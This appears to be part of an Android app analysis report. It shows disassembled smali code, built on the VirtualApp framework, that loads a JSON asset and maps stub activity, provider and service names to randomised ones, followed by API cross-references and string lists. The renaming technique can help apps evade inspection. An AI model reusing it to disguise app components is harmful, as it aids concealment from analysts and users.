                              597sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              599const-string v2, ""
                              601invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              602move-result-object v1
                              604sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              606invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              608const-string v0, "VKmProcess"
                              610sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              612const-string v2, ""
                              614invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              615move-result-object v1
                              617sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              619invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              621const-string v0, "XNJ"
                              623sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_mp:Lorg/json/JSONObject;
                              625const-string v2, ""
                              627invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              628move-result-object v1
                              630sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              632invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              634const-string v0, "VirtualEnc"
                              636sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_mp:Lorg/json/JSONObject;
                              638const-string v2, ""
                              640invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              641move-result-object v1
                              643sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              645invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              647const-string v0, "DataEnc"
                              649sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_mp:Lorg/json/JSONObject;
                              651const-string v2, ""
                              653invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              654move-result-object v1
                              656sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              658invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              660const-string v0, "OptEnc"
                              662sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_mp:Lorg/json/JSONObject;
                              664const-string v2, ""
                              666invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              667move-result-object v1
                              669sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              671invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              673const-string v0, "UserEnc"
                              675sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_mp:Lorg/json/JSONObject;
                              677const-string v2, ""
                              679invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              680move-result-object v1
                              682sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              684invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              685goto_35f: return-void
                              686catch_360: move-exception v0
                              688invoke-virtual {v0}, Ljava/lang/ClassNotFoundException;->printStackTrace()V
                              689goto/16 :goto_35f
                              690catch_365: move-exception v0
                              692invoke-virtual {v0}, Ljava/lang/NoSuchMethodException;->printStackTrace()V
                              693goto/16 :goto_35f
                              694catch_36a: move-exception v0
                              696invoke-virtual {v0}, Ljava/lang/IllegalAccessException;->printStackTrace()V
                              697goto/16 :goto_35f
                              698catch_36f: move-exception v0
                              700invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->printStackTrace()V
                              701goto/16 :goto_35f
                              702catch_374: move-exception v0
                              704invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
                              705goto/16 :goto_35f
                              706catch_379: move-exception v0
                              708invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                              709goto/16 :goto_35f
                              710catch_37e: move-exception v0
                              712invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              713goto/16 :goto_35f
                              Cross References
                              APIs
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • com.core.model.MApplication$2.a:Landroid/content/Context
                              • android.content.Context.getAssets
                              • android.content.res.AssetManager.list
                              • com.core.model.MApplication$2.a:Landroid/content/Context
                              • android.content.Context.getAssets
                              • android.content.res.AssetManager.list
                              • java.lang.String.contains
                              • com.core.model.MApplication$2.a:Landroid/content/Context
                              • android.content.Context.getAssets
                              • android.content.res.AssetManager.open
                              • com.core.model.MApplication$2.a:Landroid/content/Context
                              • android.content.Context.getAssets
                              • android.content.res.AssetManager.open
                              • java.io.InputStream.available
                              • java.io.InputStream.available
                              • com.core.model.MApplication$2.b
                              • org.json.JSONObject.<init>
                              • com.core.model.MApplication$2.f:Lorg/json/JSONObject
                              • org.json.JSONObject.optJSONObject
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • java.util.Locale.ENGLISH:Ljava/util/Locale
                              • java.lang.Class.getName
                              • java.lang.Integer.valueOf
                              • java.lang.String.format
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.d:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • java.util.Locale.ENGLISH:Ljava/util/Locale
                              • java.lang.Class.getName
                              • java.lang.Integer.valueOf
                              • java.lang.String.format
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.d:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • java.util.Locale.ENGLISH:Ljava/util/Locale
                              • java.lang.Class.getName
                              • java.lang.Integer.valueOf
                              • java.lang.String.format
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.d:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.d:Ljava/util/HashMap
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.d:Ljava/util/HashMap
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.d:Ljava/util/HashMap
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.d:Ljava/util/HashMap
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.d:Ljava/util/HashMap
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.d:Ljava/util/HashMap
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.d:Ljava/util/HashMap
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.d:Ljava/util/HashMap
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.d:Ljava/util/HashMap
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.d:Ljava/util/HashMap
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.d:Ljava/util/HashMap
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.d:Ljava/util/HashMap
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • com.core.model.MApplication$2.g:Lorg/json/JSONObject
                              • org.json.JSONObject.optString
                              • com.core.model.MApplication$2.e:Ljava/util/HashMap
                              • java.util.HashMap.put
                              • org.json.JSONException.printStackTrace
                              • java.io.IOException.printStackTrace
                              • java.lang.Exception.printStackTrace
                              Strings
                              • .
                              • rp
                              • C
                              • StubActivity
                              • %s$C%d
                              • StubDialogActivity
                              • StubProviderAuth
                              • StubContentProvider
                              • BinderProvider
                              • ChooseAccountTypeActivity
                              • ChooserActivity
                              • ChooseTypeAndAccountActivity
                              • ResolverActivity
                              • ShortcutHandleActivity
                              • StubPendingActivity
                              • DaemonService
                              • DoInnerService
                              • StubPendingService
                              • StubJobService
                              • StubPendingReceiver
                              • BinderProviderAuth
                              • VKmProcess
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v8, 0x1
                              2const/4 v2, 0x0
                              3try_start_2:
                              4iget-object v0, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              5if-nez v0, :cond_6a
                              7iget-object v0, p0, Lcom/core/model/MApplication$2;->a:Landroid/content/Context;
                              9invoke-virtual {v0}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              10move-result-object v0
                              12const-string v1, ""
                              14invoke-virtual {v0, v1}, Landroid/content/res/AssetManager;->list(Ljava/lang/String;)[Ljava/lang/String;
                              15move-result-object v4
                              16const/4 v1, 0x0
                              17array-length v5, v4
                              18move v3, v2
                              19goto_15: if-ge v3, v5, :cond_55
                              20aget-object v0, v4, v3
                              22iget-object v6, p0, Lcom/core/model/MApplication$2;->a:Landroid/content/Context;
                              24invoke-virtual {v6}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              25move-result-object v6
                              27invoke-virtual {v6, v0}, Landroid/content/res/AssetManager;->list(Ljava/lang/String;)[Ljava/lang/String;
                              28move-result-object v6
                              29array-length v6, v6
                              30if-ge v6, v8, :cond_53
                              32const-string v6, "."
                              34invoke-virtual {v0, v6}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              35move-result v6
                              36if-nez v6, :cond_53
                              37if-nez v1, :cond_3f
                              39iget-object v1, p0, Lcom/core/model/MApplication$2;->a:Landroid/content/Context;
                              41invoke-virtual {v1}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              42move-result-object v1
                              44invoke-virtual {v1, v0}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
                              45move-result-object v0
                              46goto_3a: add-int/lit8 v1, v3, 0x1
                              47move v3, v1
                              48move-object v1, v0
                              49goto/16 :goto_15
                              50cond_3f:
                              51iget-object v6, p0, Lcom/core/model/MApplication$2;->a:Landroid/content/Context;
                              53invoke-virtual {v6}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              54move-result-object v6
                              56invoke-virtual {v6, v0}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
                              57move-result-object v0
                              59invoke-virtual {v1}, Ljava/io/InputStream;->available()I
                              60move-result v6
                              62invoke-virtual {v0}, Ljava/io/InputStream;->available()I
                              63move-result v7
                              64if-gt v6, v7, :cond_3a
                              65cond_53: move-object v0, v1
                              66goto/16 :goto_3a
                              67cond_55: new-instance v0, Lorg/json/JSONObject;
                              69invoke-direct {p0, v1}, Lcom/core/model/MApplication$2;->b(Ljava/io/InputStream;)Ljava/lang/String;
                              70move-result-object v1
                              72invoke-direct {v0, v1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                              73iput-object v0, p0, Lcom/core/model/MApplication$2;->f:Lorg/json/JSONObject;
                              75iget-object v0, p0, Lcom/core/model/MApplication$2;->f:Lorg/json/JSONObject;
                              77const-string v1, "rp"
                              79invoke-virtual {v0, v1}, Lorg/json/JSONObject;->optJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              80move-result-object v0
                              81iput-object v0, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              82cond_6a: move v0, v2
                              83goto_6b: const/16 v1, 0x14
                              84if-ge v0, v1, :cond_16b
                              85new-instance v1, Ljava/lang/StringBuilder;
                              87invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              89const-string v2, "C"
                              91invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              92move-result-object v1
                              94invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              95move-result-object v1
                              97const-string v2, "StubActivity"
                              99invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              100move-result-object v1
                              102invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              103move-result-object v1
                              105iget-object v2, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              107const-string v3, ""
                              109invoke-virtual {v2, v1, v3}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              110move-result-object v2
                              112sget-object v3, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
                              114const-string v4, "%s$C%d"
                              115const/4 v5, 0x2
                              116new-array v5, v5, [Ljava/lang/Object;
                              117const/4 v6, 0x0
                              118const-class v7, Lcom/tmk/ywb/activity/StubActivity;
                              120invoke-virtual {v7}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              121move-result-object v7
                              122aput-object v7, v5, v6
                              123const/4 v6, 0x1
                              125invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              126move-result-object v7
                              127aput-object v7, v5, v6
                              129invoke-static {v3, v4, v5}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                              130move-result-object v3
                              132iget-object v4, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              134invoke-virtual {v4, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              136iget-object v1, p0, Lcom/core/model/MApplication$2;->d:Ljava/util/HashMap;
                              138invoke-virtual {v1, v2, v3}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              139new-instance v1, Ljava/lang/StringBuilder;
                              141invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              143const-string v2, "C"
                              145invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              146move-result-object v1
                              148invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              149move-result-object v1
                              151const-string v2, "StubDialogActivity"
                              153invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              154move-result-object v1
                              156invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              157move-result-object v1
                              159iget-object v2, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              161const-string v3, ""
                              163invoke-virtual {v2, v1, v3}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              164move-result-object v2
                              166sget-object v3, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
                              168const-string v4, "%s$C%d"
                              169const/4 v5, 0x2
                              170new-array v5, v5, [Ljava/lang/Object;
                              171const/4 v6, 0x0
                              172const-class v7, Lcom/tmk/ywb/activity/StubDialog;
                              174invoke-virtual {v7}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              175move-result-object v7
                              176aput-object v7, v5, v6
                              177const/4 v6, 0x1
                              179invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              180move-result-object v7
                              181aput-object v7, v5, v6
                              183invoke-static {v3, v4, v5}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                              184move-result-object v3
                              186iget-object v4, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              188invoke-virtual {v4, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              190iget-object v1, p0, Lcom/core/model/MApplication$2;->d:Ljava/util/HashMap;
                              192invoke-virtual {v1, v2, v3}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              193new-instance v1, Ljava/lang/StringBuilder;
                              195invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              197const-string v2, "C"
                              199invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              200move-result-object v1
                              202invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              203move-result-object v1
                              205const-string v2, "StubProviderAuth"
                              207invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              208move-result-object v1
                              210invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              211move-result-object v1
                              213iget-object v2, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              215const-string v3, ""
                              217invoke-virtual {v2, v1, v3}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              218move-result-object v2
                              220iget-object v3, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              222invoke-virtual {v3, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              223new-instance v1, Ljava/lang/StringBuilder;
                              225invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              227const-string v2, "C"
                              229invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              230move-result-object v1
                              232invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              233move-result-object v1
                              235const-string v2, "StubContentProvider"
                              237invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              238move-result-object v1
                              240invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              241move-result-object v1
                              243iget-object v2, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              245const-string v3, ""
                              247invoke-virtual {v2, v1, v3}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              248move-result-object v2
                              250sget-object v3, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
                              252const-string v4, "%s$C%d"
                              253const/4 v5, 0x2
                              254new-array v5, v5, [Ljava/lang/Object;
                              255const/4 v6, 0x0
                              256const-class v7, Lcom/tmk/ywb/service/StubContentProvider;
                              258invoke-virtual {v7}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              259move-result-object v7
                              260aput-object v7, v5, v6
                              261const/4 v6, 0x1
                              263invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              264move-result-object v7
                              265aput-object v7, v5, v6
                              267invoke-static {v3, v4, v5}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                              268move-result-object v3
                              270iget-object v4, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              272invoke-virtual {v4, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              274iget-object v1, p0, Lcom/core/model/MApplication$2;->d:Ljava/util/HashMap;
                              276invoke-virtual {v1, v2, v3}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              277add-int/lit8 v0, v0, 0x1
                              278goto/16 :goto_6b
                              279cond_16b:
                              280const-string v0, "BinderProvider"
                              282iget-object v1, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              284const-string v2, ""
                              286invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              287move-result-object v1
                              289iget-object v2, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              291invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              293iget-object v0, p0, Lcom/core/model/MApplication$2;->d:Ljava/util/HashMap;
                              294const-class v2, Lcom/tmk/ywb/service/BinderProvider;
                              296invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              297move-result-object v2
                              299invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              301const-string v0, "ChooseAccountTypeActivity"
                              303iget-object v1, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              305const-string v2, ""
                              307invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              308move-result-object v1
                              310iget-object v2, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              312invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              314iget-object v0, p0, Lcom/core/model/MApplication$2;->d:Ljava/util/HashMap;
                              315const-class v2, Lcom/tmk/ywb/activity/ChooseAccountTypeActivity;
                              317invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              318move-result-object v2
                              320invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              322const-string v0, "ChooserActivity"
                              324iget-object v1, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              326const-string v2, ""
                              328invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              329move-result-object v1
                              331iget-object v2, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              333invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              335iget-object v0, p0, Lcom/core/model/MApplication$2;->d:Ljava/util/HashMap;
                              336const-class v2, Lcom/tmk/ywb/activity/ChooserActivity;
                              338invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              339move-result-object v2
                              341invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              343const-string v0, "ChooseTypeAndAccountActivity"
                              345iget-object v1, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              347const-string v2, ""
                              349invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              350move-result-object v1
                              352iget-object v2, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              354invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              356iget-object v0, p0, Lcom/core/model/MApplication$2;->d:Ljava/util/HashMap;
                              357const-class v2, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;
                              359invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              360move-result-object v2
                              362invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              364const-string v0, "ResolverActivity"
                              366iget-object v1, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              368const-string v2, ""
                              370invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              371move-result-object v1
                              373iget-object v2, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              375invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              377iget-object v0, p0, Lcom/core/model/MApplication$2;->d:Ljava/util/HashMap;
                              378const-class v2, Lcom/tmk/ywb/activity/ResolverActivity;
                              380invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              381move-result-object v2
                              383invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              385const-string v0, "ShortcutHandleActivity"
                              387iget-object v1, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              389const-string v2, ""
                              391invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              392move-result-object v1
                              394iget-object v2, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              396invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              398iget-object v0, p0, Lcom/core/model/MApplication$2;->d:Ljava/util/HashMap;
                              399const-class v2, Lcom/tmk/ywb/activity/ShortcutHandleActivity;
                              401invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              402move-result-object v2
                              404invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              406const-string v0, "StubPendingActivity"
                              408iget-object v1, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              410const-string v2, ""
                              412invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
